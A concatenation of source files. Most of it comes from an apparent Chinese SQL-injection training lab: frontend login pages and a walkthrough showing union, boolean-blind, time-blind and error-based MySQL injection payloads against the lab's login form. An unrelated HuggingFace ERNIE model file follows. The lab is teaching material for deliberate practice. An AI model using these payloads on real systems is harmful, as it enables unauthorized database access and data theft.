if(resp["status"] === "200"){
loginData.token = resp["token"]; // 从响应中获取token
loginData.username = resp["username"]; // 从响应中获取用户名
$("#notice")[0].innerHTML = generateNote("登录成功!欢迎, " + resp["username"]);
fetchUserInfoData();
} else if(resp["status"] === "405"){
$("#notice")[0].innerHTML = generateNote("登录失败:" + resp["msg"]);
} else if(resp["status"] === "401"){
$("#notice")[0].innerHTML = generateNote("登录失败:" + resp["msg"]);
}
},
error: function(jqXHR, textStatus, errorThrown) {
// 添加错误处理
$("#notice")[0].innerHTML = generateNote("发生错误:" + textStatus + ", " + errorThrown);
}
})
}
function fetchUserInfoData() {
$.ajax({
url: 'http://{ENV:NET_IP}:{ENV:FLASK_PORT}/api/auth/l3/getUserinfo?n=' + loginData.username,
headers: {
'Authorization': loginData.token
},
success: function(response) {
if (response.status === "403") {
$("#notice")[0].innerHTML = generateNote("Token过期或错误,请重新登录");
} else if (response.status === "200") {
$("#LoginT").hide();
$("#Login").hide();
populateUserTable(response.msg);
}
},
error: function() {
$("#notice")[0].innerHTML = generateNote("数据获取失败,请稍后重试");
}
});
}
function populateUserTable(data) {
$("#UserInfoTitle").show();
$("#UserInfo").show();
var userData = data[0];
// 填充用户数据到表单中
$("#displayPid").val(userData.PID); // 工号
$("#displayUsername").val(userData.USERNAME); // 用户名
$("#displayPhone").val(userData.PHONE); // 手机号
$("#displayQQ").val(userData.QQ); // QQ号
}
function updateUserInfo() {
// 从输入字段中收集数据
let updatedData = {
username: $("#displayUsername").val(),
phone: $("#displayPhone").val(),
qq: $("#displayQQ").val()
};
// 发送POST请求到服务器更新用户信息
$.post({
url: 'http://{ENV:NET_IP}:{ENV:FLASK_PORT}/api/auth/l3/modifyUserInfo', // 修改为您的API端点
headers: {
'Authorization': loginData.token // 使用登录后获取的token
},
data: updatedData, // 发送更新的用户信息
dataType: "json",
success: function(response) {
// 根据返回的状态处理响应
if (response.status === "200") {
$(document).Toasts('create', {
class: 'bg-success',
title: 'SUCCESS',
autohide: true,
delay: 4000,
body: '修改成功!'
});
fetchUserInfoData();
} else if (response.status === "403" || response.status === "400") {
$(document).Toasts('create', {
class: 'bg-warning',
title: 'WARNING',
autohide: true,
delay: 4000,
body: '权限认证失败或权限不足,请重新登录!'
});
} else {
$(document).Toasts('create', {
class: 'bg-danger',
title: 'ERROR',
autohide: true,
delay: 4000,
body: ' 修改失败,请稍后重试…… '
});
}
},
error: function() {
$(document).Toasts('create', {
class: 'bg-danger',
title: 'ERROR',
autohide: true,
delay: 4000,
body: ' 修改失败,请稍后重试…… '
});
}
});
}
// 在文档加载完毕后绑定按钮点击事件
$(document).ready(function() {
// 绑定更新按钮的点击事件
$("#updateUserInfoButton").click(function() {
updateUserInfo(); // 调用更新用户信息的函数
});
});
function logout() {
// 清除登录数据
loginData.username = null;
loginData.token = null;
// 清空表单输入
$("#username").val('');
$("#password").val('');
// 显示登录表单
$("#LoginT").show();
$("#Login").show();
// 隐藏用户信息表单
$("#UserInfo").hide();
$("#UserInfoTitle").hide();
// 清除通知
$("#notice").html('');
}
// 在文档加载完毕后绑定注销按钮的点击事件
$(document).ready(function() {
// 绑定确认修改按钮的点击事件
$("#updateUserInfoButton").click(function() {
updateUserInfo();
});
// 绑定注销按钮的点击事件
$("#logoutButton").click(function() {
logout();
});
});
</script>
</body>
</html> |
2740908911/Pilot-Web | 11,962 | pilot-client/pages/sqli/sqli_mysql.html | <!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>SQL注入-Mysql注入</title>
<link rel="stylesheet" href="../../plugins/googleapis/fonts.css">
<link rel="stylesheet" href="../../plugins/fontawesome-free/css/all.min.css">
<link rel="stylesheet" href="../../plugins/overlayScrollbars/css/OverlayScrollbars.min.css">
<link rel="stylesheet" href="../../dist/css/adminlte.min.css">
</head>
<body class="hold-transition light-mode sidebar-mini layout-fixed layout-navbar-fixed layout-footer-fixed">
<div class="wrapper">
<nav id="Navbar" class="main-header navbar navbar-expand navbar-light"></nav>
<aside id="Container" class="main-sidebar sidebar-light-primary elevation-4"></aside>
<div class="content-wrapper" id="Wrapper">
<section class="content-header" id="WrapperHeader"></section>
<section class="content">
<div class="container-fluid">
<div id="notice"></div>
<div class="card card-primary card-outline">
<div class="card-header">
<h3 class="card-title"><strong>Mysql注入</strong></h3>
</div>
<div class="card-body">
<div class="card card-primary">
<div class="card-header" id="LoginT">
<h3 class="card-title">后台登录</h3>
</div>
<form action="" onsubmit="return false" id="Login">
<div class="card-body">
<div class="form-group">
<label for="username">用户名</label>
<input type="text" class="form-control" name="username" id="username" placeholder="Enter username or phone number">
</div>
<div class="form-group">
<label for="password">密码</label>
<input type="password" class="form-control" name="password" id="password" placeholder="Password">
</div>
</div>
<div class="card-footer">
<button type="submit" id="loginButton" class="btn btn-primary" onclick="doLogin()">登录</button>
</div>
</form>
</div>
<div class="card card-primary" id="adminAuthSection">
<div class="card-header">
<h3 class="card-title"><strong>用户列表</strong></h3>
</div>
<div class="card-body">
<table id="adminAuthTable" class="table">
<thead>
<tr>
<th>序号</th>
<th>账号</th>
<th>手机号</th>
<th>PID</th>
<th>UID</th>
</tr>
</thead>
<tbody>
</tbody>
</table>
</div>
</div>
</div>
</div>
<div class="card card-warning card-outline" id="hint">
<div class="card-header">
<h3 class="card-title"><strong>思路提示</strong></h3>
</div>
<div class="card-body">
<div>
<ul><li>一般来说,如果一个点可以注入,那大概整个系统都完蛋-_-</li><br>
<li>如果页面没有回显,那么你会怎么利用注入呢?</li><br>
<li>如果你不会Mysql的语法,建议百度一下~</li></ul>
</div>
</div>
</div>
<div class="card card-success card-outline" id="writeUp">
<div class="card-header">
<h3 class="card-title"><strong>正确实现</strong></h3>
</div>
<div class="card-body">
<ol start=""><li><p><span>进入漏洞页面,随意登录,并抓取登录数据包:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l1-1.png" referrerpolicy="no-referrer" alt="l1-1"></div></p><ul><li><p><span>此时的Sql语句为:</span><code>SELECT USERNAME FROM USER WHERE (USERNAME = 'admin' AND PASSWORD = '21232f297a57a5a743894a0e4a801fc3')</code></p></li></ul></li><li><p><span>对登录时通常不会进行加密存储的</span><code>username</code><span>参数进行Sql注入测试:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l1-2.png" referrerpolicy="no-referrer" alt="l1-2"></div></p><ul><li><p><span>此时的Sql语句为:</span><code>SELECT USERNAME FROM USER WHERE (USERNAME = 'admin'' AND PASSWORD = '21232f297a57a5a743894a0e4a801fc3')</code><span>,语法错误。</span></p></li></ul></li><li><p><span>可以发现后端数据库产生报错。此处为登录接口,回显点为</span><code>username</code><span>,即一般考虑联合查询、布尔注入、时间盲注、布尔盲注、报错注入。</span></p></li><li><p><span>首先进行联合查询测试,尝试查询数据库名称:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l1-2-1.png" referrerpolicy="no-referrer" alt="l1-2-1"></div></p><ul><li><p><span>此时的Sql语句为:</span><code>SELECT USERNAME FROM USER WHERE (USERNAME = '-1') UNION SELECT database()-- PASSWORD = '21232f297a57a5a743894a0e4a801fc3')</code><span>,</span><code>--</code><span> 是注释符。</span></p></li></ul></li><li><p><span>其次进行布尔测试,判断SQL语句闭合情况,并进行无密码登录:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l1-3.png" referrerpolicy="no-referrer" alt="l1-3"></div></p><ul><li><p><span>此时的Sql语句为:</span><code>SELECT USERNAME FROM USER WHERE (USERNAME = 'admin' or '1'='1')-- ' AND PASSWORD = '21232f297a57a5a743894a0e4a801fc3')</code><span>,</span><code>--</code><span> 是注释符。</span></p></li></ul><p><div class="card col-lg-11 col-xl-11"><img src="assist/l1-4.png" referrerpolicy="no-referrer" alt="l1-4"></div></p><ul><li><p><span>此时的Sql语句为:</span><code>SELECT USERNAME FROM USER WHERE (USERNAME = 'admin' or '1'='1' AND PASSWORD = '21232f297a57a5a743894a0e4a801fc3')</code></p></li></ul></li><li><p><span>可以发现以上两种情况可以正确闭合Sql语句。通过布尔盲注爆破库名,这里演示为使用BurpSuite完成:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l1-5.png" referrerpolicy="no-referrer" alt="l1-5"></div></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l1-6.png" referrerpolicy="no-referrer" alt="l1-6"></div></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l1-7.png" referrerpolicy="no-referrer" alt="l1-7"></div></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l1-8.png" referrerpolicy="no-referrer" alt="l1-8"></div></p><ul><li><p><span>此时的Sql语句为:</span><code>SELECT USERNAME FROM USER WHERE (USERNAME = 'admin' and substr(database(),1,1)='a')-- ' AND PASSWORD = '21232f297a57a5a743894a0e4a801fc3')</code></p></li></ul></li><li><p><span>尝试是否可以进行延时注入,对数据库进行5秒延时:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l1-9.png" referrerpolicy="no-referrer" alt="l1-9"></div></p><ul><li><p><span>此时的Sql语句为:</span><code>SELECT USERNAME FROM USER WHERE (USERNAME = 'admin' and sleep(5))-- 'AND PASSWORD = '21232f297a57a5a743894a0e4a801fc3')</code></p></li></ul></li><li><p><span>可以进行延时注入。尝试时间盲注爆破库名,这里演示为使用Python脚本完成:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l1-10.png" referrerpolicy="no-referrer" alt="l1-10"></div></p><ul><li>Python脚本源码下载:<a href="assist/l1-sqli.py" target="_blank">Mysql时间盲注脚本</a></li><li><p><span>此时的Sql语句为:</span><code>SELECT USERNAME FROM USER WHERE (USERNAME = 'admin' and if(ascii(substr(database(),1,1))>97,sleep(3),1))-- ' AND PASSWORD = '21232f297a57a5a743894a0e4a801fc3')</code></p></li></ul></li><li><p><span>因为之前已经验证过此处会返回SQL语句报错,故也可以进行报错注入:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l1-11.png" referrerpolicy="no-referrer" alt="l1-11"></div></p><ul><li><p><span>此时的Sql语句为:</span><code>SELECT USERNAME FROM USER WHERE (USERNAME = 'admin'and updatexml(0x7e,concat(0x7e, (select database())),0x7e) and '1'='1' AND PASSWORD = '21232f297a57a5a743894a0e4a801fc3')</code><span>,会报错出数据库名。</span></p></li></ul></li><li><p><span>除了登录接口可以注入外,登录后的信息获取接口也可以进行布尔注入、时间注入和报错注入,因为原理一样,此处不再演示。</span></p><p> </p></li></ol>
</div>
</div>
<div class="card card-info card-outline" id="showSource">
<div class="card-header">
<h3 class="card-title"><strong>源码解析</strong></h3>
</div>
<div class="card-body">
<ul style="margin-bottom: 0;"><li>在登录和查询信息时,使用拼接SQL语句的方式构造命令,而不是通过预编译后再执行命令,致使SQL注入漏洞产生:</li></ul>
<div class="card-body" style="padding-top: 0%; padding-bottom: 0%;"><object type="text/html" data="assist/sCode-1.html" width="100%" height="1465px"></object></div>
</div>
</div>
<div class="card card-orange card-outline" id="repository">
<div class="card-header">
<h3 class="card-title"><strong>知识梳理</strong></h3>
</div>
<div class="card-body">
<div style="padding-top: 0%; padding-bottom: 0%;"><object type="text/html" data="assist/sum-1.html" width="100%" height="4275px"></object></div>
</div>
</div>
</div>
</section>
</div>
</div>
<aside class="control-sidebar control-sidebar-dark">
<!-- Control sidebar content goes here -->
</aside>
<footer class="main-footer"></footer>
<script src="../../dist/js/templateHandle.js"></script>
<script>
setWrapperHeader("SQL注入", ["Mysql注入"]);
</script>
<script src="../../plugins/jquery/jquery.min.js"></script>
<script src="../../plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<script src="../../plugins/overlayScrollbars/js/jquery.overlayScrollbars.min.js"></script>
<script src="../../dist/js/adminlte.js"></script>
<script>
$(document).ready(function() {
$("#adminAuthSection").hide(); // 页面加载时隐藏
});
var loginData = {
username: null,
token: null
};
function doLogin(){
let data = {
username: $("#username")[0].value,
password: $("#password")[0].value,
}
$.post({
url: `http://{ENV:NET_IP}:{ENV:FLASK_PORT}/api/sqli/l1/login`,
data,
dataType: "json",
success(resp){
if(resp["status"] === "200"){
loginData.token = resp["token"]; // 从响应中获取token
loginData.username = resp["username"]; // 从响应中获取用户名
$("#notice")[0].innerHTML = generateNote("登录成功!欢迎, " + resp["username"]);
fetchAdminAuthData();
} else if(resp["status"] === "405"){
$("#notice")[0].innerHTML = generateNote("登录失败:" + resp["msg"]);
} else if(resp["status"] === "401"){
$("#notice")[0].innerHTML = generateNote("登录失败:" + resp["msg"]);
}
},
error: function(jqXHR, textStatus, errorThrown) {
// 添加错误处理
$("#notice")[0].innerHTML = generateNote("发生错误:" + textStatus + ", " + errorThrown);
}
})
}
function fetchAdminAuthData() {
$.ajax({
url: 'http://{ENV:NET_IP}:{ENV:FLASK_PORT}/api/sqli/l1/getAuthinfo?n=' + loginData.username,
headers: {
'Authorization': loginData.token
},
success: function(response) {
if (response.status === "403") {
$("#notice")[0].innerHTML = generateNote("Token过期或错误,请重新登录");
} else if (response.status === "400") {
$("#notice")[0].innerHTML = generateNote("账号权限不足,请使用高权限账号登录");
} else if (response.status === "200") {
$("#adminAuthSection").show();
$("#LoginT").hide();
$("#Login").hide();
populateAuthTable(response.msg);
}
},
error: function() {
$("#notice")[0].innerHTML = generateNote("数据获取失败,请稍后重试");
}
});
}
function populateAuthTable(data) {
var tableBody = $("#adminAuthTable tbody");
tableBody.empty();
data.forEach(function(item, index) {
var row = `
<tr>
<td style="font-size: 21px">${index + 1}</td>
<td style="font-size: 21px">${item.USERNAME}</td>
<td style="font-size: 21px">${item.PHONE}</td>
<td style="font-size: 21px">${item.PID}</td>
<td style="font-size: 20px">${item.UID === 1 ? "管理员" : "普通用户"}</td>
</tr>
`;
tableBody.append(row);
});
}
</script>
</body>
</html> |
2740908911/Pilot-Web | 2,885 | pilot-client/pages/sqli/index.html | <!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>SQL注入-概述</title>
<link rel="stylesheet"
href="../../plugins/googleapis/fonts.css">
<link rel="stylesheet" href="../../plugins/fontawesome-free/css/all.min.css">
<link rel="stylesheet" href="../../plugins/overlayScrollbars/css/OverlayScrollbars.min.css">
<link rel="stylesheet" href="../../dist/css/adminlte.min.css">
</head>
<body class="hold-transition light-mode sidebar-mini layout-fixed layout-navbar-fixed layout-footer-fixed">
<div class="wrapper">
<nav id="Navbar" class="main-header navbar navbar-expand navbar-light"></nav>
<aside id="Container" class="main-sidebar sidebar-light-primary elevation-4"></aside>
<div class="content-wrapper" id="Wrapper">
<section class="content-header" id="WrapperHeader"></section>
<section class="content">
<div class="container-fluid">
<div class="card card-primary card-outline">
<div class="card-header">
<h3 class="card-title"><strong>概述</strong></h3>
</div>
<div class="card-body">
<div class="markdown prose w-full break-words dark:prose-invert light">
<p>SQL注入(SQL Injection)是一种常见的Web安全漏洞,攻击者在输入的字符串之中注入SQL指令,在设计不良的程序当中忽略了字符检查,那么这些注入进去的恶意指令就会被数据库服务器误认为是正常的SQL指令而执行,因此遭到破坏或是入侵。</p>
<p>通常,SQL注入攻击发生的原因是开发人员没有对用户输入的数据进行充分验证或过滤,或者使用了不安全的SQL查询方法。攻击者可以通过输入特定的字符串或符号来欺骗程序,从而注入恶意的SQL语句。</p>
<p>攻击者可以利用SQL注入漏洞实现以下恶意行为:</p>
<ol>
<li><p>获取数据库访问权限,甚至获得DBA权限,从而获取数据库中的所有数据,造成信息泄漏;(可获取数据)</p></li>
<li><p>对数据库的数据进行增加、删除、修改操作,例如删除数据库中重要数据的表(可进行增删改操作)</p></li>
<li><p>通过构造特殊的数据库语句,可操作数据库进入后台或者插入木马,以获取整个网站和数据库的控制权限,篡改网页,发布不良信息等;(可获取网站权限)</p></li>
<li><p>获取服务器最高权限,远程控制服务器,甚至导致局域网(内网)被入侵;(可获取服务器权限)</p></li>
</ol>
</div>
</div>
</div>
</div>
</section>
</div>
<aside class="control-sidebar control-sidebar-dark">
<!-- Control sidebar content goes here -->
</aside>
<footer class="main-footer"></footer>
<script src="../../dist/js/templateHandle.js"></script>
<script>
setWrapperHeader("SQL注入", ["概述"]);
</script>
<script src="../../plugins/jquery/jquery.min.js"></script>
<script src="../../plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<script src="../../plugins/overlayScrollbars/js/jquery.overlayScrollbars.min.js"></script>
<script src="../../dist/js/adminlte.js"></script>
</body>
</html> |
27182812/ChatGLM-LLaMA-chinese-insturct | 84,342 | src/transformers/models/ernie/modeling_ernie.py | # coding=utf-8
# Copyright 2022 The HuggingFace Inc. team.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""PyTorch ERNIE model."""
import math
import warnings
from dataclasses import dataclass
from typing import List, Optional, Tuple, Union
import torch
import torch.utils.checkpoint
from torch import nn
from torch.nn import BCEWithLogitsLoss, CrossEntropyLoss, MSELoss
from ...activations import ACT2FN
from ...modeling_outputs import (
BaseModelOutputWithPastAndCrossAttentions,
BaseModelOutputWithPoolingAndCrossAttentions,
CausalLMOutputWithCrossAttentions,
MaskedLMOutput,
MultipleChoiceModelOutput,
NextSentencePredictorOutput,
QuestionAnsweringModelOutput,
SequenceClassifierOutput,
TokenClassifierOutput,
)
from ...modeling_utils import PreTrainedModel
from ...pytorch_utils import apply_chunking_to_forward, find_pruneable_heads_and_indices, prune_linear_layer
from ...utils import (
ModelOutput,
add_code_sample_docstrings,
add_start_docstrings,
add_start_docstrings_to_model_forward,
logging,
replace_return_docstrings,
)
from .configuration_ernie import ErnieConfig
logger = logging.get_logger(__name__)
_CHECKPOINT_FOR_DOC = "nghuyong/ernie-1.0-base-zh"
_CONFIG_FOR_DOC = "ErnieConfig"
ERNIE_PRETRAINED_MODEL_ARCHIVE_LIST = [
"nghuyong/ernie-1.0-base-zh",
"nghuyong/ernie-2.0-base-en",
"nghuyong/ernie-2.0-large-en",
"nghuyong/ernie-3.0-base-zh",
"nghuyong/ernie-3.0-medium-zh",
"nghuyong/ernie-3.0-mini-zh",
"nghuyong/ernie-3.0-micro-zh",
"nghuyong/ernie-3.0-nano-zh",
"nghuyong/ernie-gram-zh",
"nghuyong/ernie-health-zh",
# See all ERNIE models at https://huggingface.co/models?filter=ernie
]
class ErnieEmbeddings(nn.Module):
"""Construct the embeddings from word, position and token_type embeddings."""
def __init__(self, config):
super().__init__()
self.word_embeddings = nn.Embedding(config.vocab_size, config.hidden_size, padding_idx=config.pad_token_id)
self.position_embeddings = nn.Embedding(config.max_position_embeddings, config.hidden_size)
self.token_type_embeddings = nn.Embedding(config.type_vocab_size, config.hidden_size)
self.use_task_id = config.use_task_id
if config.use_task_id:
self.task_type_embeddings = nn.Embedding(config.task_type_vocab_size, config.hidden_size)
# self.LayerNorm is not snake-cased to stick with TensorFlow model variable name and be able to load
# any TensorFlow checkpoint file
self.LayerNorm = nn.LayerNorm(config.hidden_size, eps=config.layer_norm_eps)
self.dropout = nn.Dropout(config.hidden_dropout_prob)
# position_ids (1, len position emb) is contiguous in memory and exported when serialized
self.position_embedding_type = getattr(config, "position_embedding_type", "absolute")
self.register_buffer("position_ids", torch.arange(config.max_position_embeddings).expand((1, -1)))
self.register_buffer(
"token_type_ids", torch.zeros(self.position_ids.size(), dtype=torch.long), persistent=False
)
def forward(
self,
input_ids: Optional[torch.LongTensor] = None,
token_type_ids: Optional[torch.LongTensor] = None,
task_type_ids: Optional[torch.LongTensor] = None,
position_ids: Optional[torch.LongTensor] = None,
inputs_embeds: Optional[torch.FloatTensor] = None,
past_key_values_length: int = 0,
) -> torch.Tensor:
if input_ids is not None:
input_shape = input_ids.size()
else:
input_shape = inputs_embeds.size()[:-1]
seq_length = input_shape[1]
if position_ids is None:
position_ids = self.position_ids[:, past_key_values_length : seq_length + past_key_values_length]
# Setting the token_type_ids to the registered buffer in constructor where it is all zeros, which usually occurs
# when its auto-generated, registered buffer helps users when tracing the model without passing token_type_ids, solves
# issue #5664
if token_type_ids is None:
if hasattr(self, "token_type_ids"):
buffered_token_type_ids = self.token_type_ids[:, :seq_length]
buffered_token_type_ids_expanded = buffered_token_type_ids.expand(input_shape[0], seq_length)
token_type_ids = buffered_token_type_ids_expanded
else:
token_type_ids = torch.zeros(input_shape, dtype=torch.long, device=self.position_ids.device)
if inputs_embeds is None:
inputs_embeds = self.word_embeddings(input_ids)
token_type_embeddings = self.token_type_embeddings(token_type_ids)
embeddings = inputs_embeds + token_type_embeddings
if self.position_embedding_type == "absolute":
position_embeddings = self.position_embeddings(position_ids)
embeddings += position_embeddings
# add `task_type_id` for ERNIE model
if self.use_task_id:
if task_type_ids is None:
task_type_ids = torch.zeros(input_shape, dtype=torch.long, device=self.position_ids.device)
task_type_embeddings = self.task_type_embeddings(task_type_ids)
embeddings += task_type_embeddings
embeddings = self.LayerNorm(embeddings)
embeddings = self.dropout(embeddings)
return embeddings
# Copied from transformers.models.bert.modeling_bert.BertSelfAttention with Bert->Ernie
class ErnieSelfAttention(nn.Module):
def __init__(self, config, position_embedding_type=None):
super().__init__()
if config.hidden_size % config.num_attention_heads != 0 and not hasattr(config, "embedding_size"):
raise ValueError(
f"The hidden size ({config.hidden_size}) is not a multiple of the number of attention "
f"heads ({config.num_attention_heads})"
)
self.num_attention_heads = config.num_attention_heads
self.attention_head_size = int(config.hidden_size / config.num_attention_heads)
self.all_head_size = self.num_attention_heads * self.attention_head_size
self.query = nn.Linear(config.hidden_size, self.all_head_size)
self.key = nn.Linear(config.hidden_size, self.all_head_size)
self.value = nn.Linear(config.hidden_size, self.all_head_size)
self.dropout = nn.Dropout(config.attention_probs_dropout_prob)
self.position_embedding_type = position_embedding_type or getattr(
config, "position_embedding_type", "absolute"
)
if self.position_embedding_type == "relative_key" or self.position_embedding_type == "relative_key_query":
self.max_position_embeddings = config.max_position_embeddings
self.distance_embedding = nn.Embedding(2 * config.max_position_embeddings - 1, self.attention_head_size)
self.is_decoder = config.is_decoder
def transpose_for_scores(self, x: torch.Tensor) -> torch.Tensor:
new_x_shape = x.size()[:-1] + (self.num_attention_heads, self.attention_head_size)
x = x.view(new_x_shape)
return x.permute(0, 2, 1, 3)
def forward(
self,
hidden_states: torch.Tensor,
attention_mask: Optional[torch.FloatTensor] = None,
head_mask: Optional[torch.FloatTensor] = None,
encoder_hidden_states: Optional[torch.FloatTensor] = None,
encoder_attention_mask: Optional[torch.FloatTensor] = None,
past_key_value: Optional[Tuple[Tuple[torch.FloatTensor]]] = None,
output_attentions: Optional[bool] = False,
) -> Tuple[torch.Tensor]:
mixed_query_layer = self.query(hidden_states)
# If this is instantiated as a cross-attention module, the keys
# and values come from an encoder; the attention mask needs to be
# such that the encoder's padding tokens are not attended to.
is_cross_attention = encoder_hidden_states is not None
if is_cross_attention and past_key_value is not None:
# reuse k,v, cross_attentions
key_layer = past_key_value[0]
value_layer = past_key_value[1]
attention_mask = encoder_attention_mask
elif is_cross_attention:
key_layer = self.transpose_for_scores(self.key(encoder_hidden_states))
value_layer = self.transpose_for_scores(self.value(encoder_hidden_states))
attention_mask = encoder_attention_mask
elif past_key_value is not None:
key_layer = self.transpose_for_scores(self.key(hidden_states))
value_layer = self.transpose_for_scores(self.value(hidden_states))
key_layer = torch.cat([past_key_value[0], key_layer], dim=2)
value_layer = torch.cat([past_key_value[1], value_layer], dim=2)
else:
key_layer = self.transpose_for_scores(self.key(hidden_states))
value_layer = self.transpose_for_scores(self.value(hidden_states))
query_layer = self.transpose_for_scores(mixed_query_layer)
use_cache = past_key_value is not None
if self.is_decoder:
# if cross_attention save Tuple(torch.Tensor, torch.Tensor) of all cross attention key/value_states.
# Further calls to cross_attention layer can then reuse all cross-attention
# key/value_states (first "if" case)
# if uni-directional self-attention (decoder) save Tuple(torch.Tensor, torch.Tensor) of
# all previous decoder key/value_states. Further calls to uni-directional self-attention
# can concat previous decoder key/value_states to current projected key/value_states (third "elif" case)
# if encoder bi-directional self-attention `past_key_value` is always `None`
past_key_value = (key_layer, value_layer)
# Take the dot product between "query" and "key" to get the raw attention scores.
attention_scores = torch.matmul(query_layer, key_layer.transpose(-1, -2))
if self.position_embedding_type == "relative_key" or self.position_embedding_type == "relative_key_query":
query_length, key_length = query_layer.shape[2], key_layer.shape[2]
if use_cache:
position_ids_l = torch.tensor(key_length - 1, dtype=torch.long, device=hidden_states.device).view(
-1, 1
)
else:
position_ids_l = torch.arange(query_length, dtype=torch.long, device=hidden_states.device).view(-1, 1)
position_ids_r = torch.arange(key_length, dtype=torch.long, device=hidden_states.device).view(1, -1)
distance = position_ids_l - position_ids_r
positional_embedding = self.distance_embedding(distance + self.max_position_embeddings - 1)
positional_embedding = positional_embedding.to(dtype=query_layer.dtype) # fp16 compatibility
if self.position_embedding_type == "relative_key":
relative_position_scores = torch.einsum("bhld,lrd->bhlr", query_layer, positional_embedding)
attention_scores = attention_scores + relative_position_scores
elif self.position_embedding_type == "relative_key_query":
relative_position_scores_query = torch.einsum("bhld,lrd->bhlr", query_layer, positional_embedding)
relative_position_scores_key = torch.einsum("bhrd,lrd->bhlr", key_layer, positional_embedding)
attention_scores = attention_scores + relative_position_scores_query + relative_position_scores_key
attention_scores = attention_scores / math.sqrt(self.attention_head_size)
if attention_mask is not None:
# Apply the attention mask is (precomputed for all layers in ErnieModel forward() function)
attention_scores = attention_scores + attention_mask
# Normalize the attention scores to probabilities.
attention_probs = nn.functional.softmax(attention_scores, dim=-1)
# This is actually dropping out entire tokens to attend to, which might
# seem a bit unusual, but is taken from the original Transformer paper.
attention_probs = self.dropout(attention_probs)
# Mask heads if we want to
if head_mask is not None:
attention_probs = attention_probs * head_mask
context_layer = torch.matmul(attention_probs, value_layer)
context_layer = context_layer.permute(0, 2, 1, 3).contiguous()
new_context_layer_shape = context_layer.size()[:-2] + (self.all_head_size,)
context_layer = context_layer.view(new_context_layer_shape)
outputs = (context_layer, attention_probs) if output_attentions else (context_layer,)
if self.is_decoder:
outputs = outputs + (past_key_value,)
return outputs
# Copied from transformers.models.bert.modeling_bert.BertSelfOutput with Bert->Ernie
class ErnieSelfOutput(nn.Module):
def __init__(self, config):
super().__init__()
self.dense = nn.Linear(config.hidden_size, config.hidden_size)
self.LayerNorm = nn.LayerNorm(config.hidden_size, eps=config.layer_norm_eps)
self.dropout = nn.Dropout(config.hidden_dropout_prob)
def forward(self, hidden_states: torch.Tensor, input_tensor: torch.Tensor) -> torch.Tensor:
hidden_states = self.dense(hidden_states)
hidden_states = self.dropout(hidden_states)
hidden_states = self.LayerNorm(hidden_states + input_tensor)
return hidden_states
# Copied from transformers.models.bert.modeling_bert.BertAttention with Bert->Ernie
class ErnieAttention(nn.Module):
def __init__(self, config, position_embedding_type=None):
super().__init__()
self.self = ErnieSelfAttention(config, position_embedding_type=position_embedding_type)
self.output = ErnieSelfOutput(config)
self.pruned_heads = set()
def prune_heads(self, heads):
if len(heads) == 0:
return
heads, index = find_pruneable_heads_and_indices(
heads, self.self.num_attention_heads, self.self.attention_head_size, self.pruned_heads
)
# Prune linear layers
self.self.query = prune_linear_layer(self.self.query, index)
self.self.key = prune_linear_layer(self.self.key, index)
self.self.value = prune_linear_layer(self.self.value, index)
self.output.dense = prune_linear_layer(self.output.dense, index, dim=1)
# Update hyper params and store pruned heads
self.self.num_attention_heads = self.self.num_attention_heads - len(heads)
self.self.all_head_size = self.self.attention_head_size * self.self.num_attention_heads
self.pruned_heads = self.pruned_heads.union(heads)
def forward(
self,
hidden_states: torch.Tensor,
attention_mask: Optional[torch.FloatTensor] = None,
head_mask: Optional[torch.FloatTensor] = None,
encoder_hidden_states: Optional[torch.FloatTensor] = None,
encoder_attention_mask: Optional[torch.FloatTensor] = None,
past_key_value: Optional[Tuple[Tuple[torch.FloatTensor]]] = None,
output_attentions: Optional[bool] = False,
) -> Tuple[torch.Tensor]:
self_outputs = self.self(
hidden_states,
attention_mask,
head_mask,
encoder_hidden_states,
encoder_attention_mask,
past_key_value,
output_attentions,
)
attention_output = self.output(self_outputs[0], hidden_states)
outputs = (attention_output,) + self_outputs[1:] # add attentions if we output them
return outputs
# Copied from transformers.models.bert.modeling_bert.BertIntermediate with Bert->Ernie
class ErnieIntermediate(nn.Module):
def __init__(self, config):
super().__init__()
self.dense = nn.Linear(config.hidden_size, config.intermediate_size)
if isinstance(config.hidden_act, str):
self.intermediate_act_fn = ACT2FN[config.hidden_act]
else:
self.intermediate_act_fn = config.hidden_act
def forward(self, hidden_states: torch.Tensor) -> torch.Tensor:
hidden_states = self.dense(hidden_states)
hidden_states = self.intermediate_act_fn(hidden_states)
return hidden_states
# Copied from transformers.models.bert.modeling_bert.BertOutput with Bert->Ernie
class ErnieOutput(nn.Module):
def __init__(self, config):
super().__init__()
self.dense = nn.Linear(config.intermediate_size, config.hidden_size)
self.LayerNorm = nn.LayerNorm(config.hidden_size, eps=config.layer_norm_eps)
self.dropout = nn.Dropout(config.hidden_dropout_prob)
def forward(self, hidden_states: torch.Tensor, input_tensor: torch.Tensor) -> torch.Tensor:
hidden_states = self.dense(hidden_states)
hidden_states = self.dropout(hidden_states)
hidden_states = self.LayerNorm(hidden_states + input_tensor)
return hidden_states
# Copied from transformers.models.bert.modeling_bert.BertLayer with Bert->Ernie
class ErnieLayer(nn.Module):
def __init__(self, config):
super().__init__()
self.chunk_size_feed_forward = config.chunk_size_feed_forward
self.seq_len_dim = 1
self.attention = ErnieAttention(config)
